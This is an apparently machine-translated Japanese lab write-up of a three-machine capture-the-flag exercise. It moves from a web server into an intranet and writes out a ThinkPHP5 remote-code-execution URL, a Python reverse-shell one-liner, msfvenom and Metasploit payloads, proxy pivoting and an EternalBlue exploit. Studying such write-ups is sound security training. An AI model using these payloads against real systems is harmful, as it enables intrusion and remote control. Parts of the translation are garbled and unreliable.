1. ホーム
  2. Web プログラミング
  3. 関連情報

Webからイントラネットへの浸透のプロセスを詳しく解説

2022-01-04 05:30:17

ウェブからイントラネットへの侵入を記憶する

トポロジー図

環境紹介

今、target1、target2、target3の3台のマシンがあり、内部には3つのフラグがあり、それぞれのフラグは異なるスコアを持っています。

ペネトレーションプロセス

ターゲット1

nmapでスキャンする

80番ポートが開いていることがわかります
ブラウザは80番ポートでターゲットマシーンにアクセスする

ご覧のように、これはデフォルトのapacheページです。
ディレクトリ構造のスキャンにdirbを使用する

発見 public ページ

あなたは、サイトがthinkphp5によって構築されていることがわかりますが、thinkphp5は、リモートコード実行の脆弱性を爆発していた、直接サイト上で脆弱性の存在を確認するためにペイロードを見つけるために

http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][ ]=id


ご覧の通り、確かに脆弱性があります。サイトにワンライナーでトロイの木馬を書き、Ant Swordで接続するのも一つの方法ですが、kaliにシェルをバウンスしてみることもできます。

Execute on kali: nc -lvvp 4444
Executed in browser: http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system& vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168. 109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i% 22]);


kali 側が正常にシェルにバウンスしたことがわかります。

python を使って対話型シェルを生成する

国旗を調べる

最初のフラグの取得に成功
msfvenomを使用して逆シェルコードを生成する

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf


pythonを使って一時的なhttpサービスをオープンします。

ターゲットマシーンはこのシェルコードをダウンロードする

そして、kali は msf を開き、リッスンします。

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit


ターゲットマシーン上でシェルコードに実行権限を与えた後、ファイルを実行します。

kali側が正常にmeterpreterを返したことがわかります。

ネットワーク構成を確認する

target1 にもネットワークセグメントがあることがわかります。
ルーティングテーブルを追加する

socksプロキシの設定

use auxiliary/server/socks_proxy
exploit


プロキシチェーンの設定 プロキシチェーンの設定

vim /etc/proxychains4.conf


ターゲット2

セグメント10.1.1.0/24に他のマシンがないかスキャンする

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit


10.1.1.150としてセグメント上にマシンもあることがわかります。
nmapを使って、10.1.1.150のオープンポートをスキャンする

proxychains4 nmap -Pn -sT 10.1.1.150


80番ポートも開いていることがわかります
ここで、ブラウザを使って 10.1.1.150 の 80 番ポートに直接アクセスすることは当然不可能ですが、Firefox は socks proxy にも対応しています。

再度サイトを訪問

表示 robots.txt ファイル

バックエンドログイン場所の検索

弱いパスワードを直接使用する admin:admin ログイン成功

2つ目のフラグの取得に成功し、テンプレートの場所を見つけ、中のソースコードがすべて編集可能であることを発見した

一文トロイの木馬で書く

次にAntjenを使って接続しますが、もちろん直接接続することはできませんが、Antjenはプロキシ設定もサポートしています

行の正常な接続の後、しかし、私はそれが環境や蟻の剣の問題であるかどうかわからないここで、通常はここに確かに正常に接続することができる、私は成功せずに何度も試してみて、次に直接馬のソースコード内のそのページに、可能ではありませんと思う一般馬は、著者によってコンパイルされているので、直接過去は確かに問題があるでしょうコピーして、最後にのみ直接馬 主な理由は、イントラネット浸透反映するように、ここでは詳細ではありません。
アクセスダマ

msfvenomを使用して前方接続されたシェルコードを生成します。

msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe


その後、シェルコードをDama経由でターゲットサーバーにアップロードする

次に、以前に開いた msf に再びアクセスします。

そして、アップロードしたシェルコードをdamselで実行します。

kali側が正常にmeterpreterを返したことがわかります。

ネットワーク構成の表示

別のネットワークセグメント10.1.2.0/24があることがわかります。
ルーティングテーブルにルートを追加する

run post/multi/manage/autoroute


タジェット3

10.1.2.0/24ネットワークセグメントをスキャンして、他のマシンを探す

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit


このセグメントには、IP 10.1.2.250を持つ別のマシンが存在するため、スキャンは非常に遅くなります。
次に、ソックス・プロキシーをもう1層追加します。

use auxiliary/server/socks_proxy
set srvport 2222
exploit


プロキシチェーンの設定 プロキシチェーンの設定

vim /etc/proxychains4.conf


nmapによるポートスキャン

proxychains4 nmap -Pn -sT 10.1.2.250


Windowsのスキャン結果に基づくOSの判定
次に、nmapのミススキャンスクリプトを使用してスキャンします。

proxychains4 nmap --script=vuln 10.1.2.250


ms17-010の存在を確認することができます、攻撃モジュールを見つけるために直接msfに行く

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit


国旗を調べる

3つのホストのパーミッションが最初にあり、すべてのフラグが見つかり、潜入はここで終了します

以上、ウェブからイントラネットへの侵入の過程を詳しく説明したが、ウェブからイントラネットへの侵入の過程の詳細については、スクリプトハウスの他の関連記事に注目してほしい!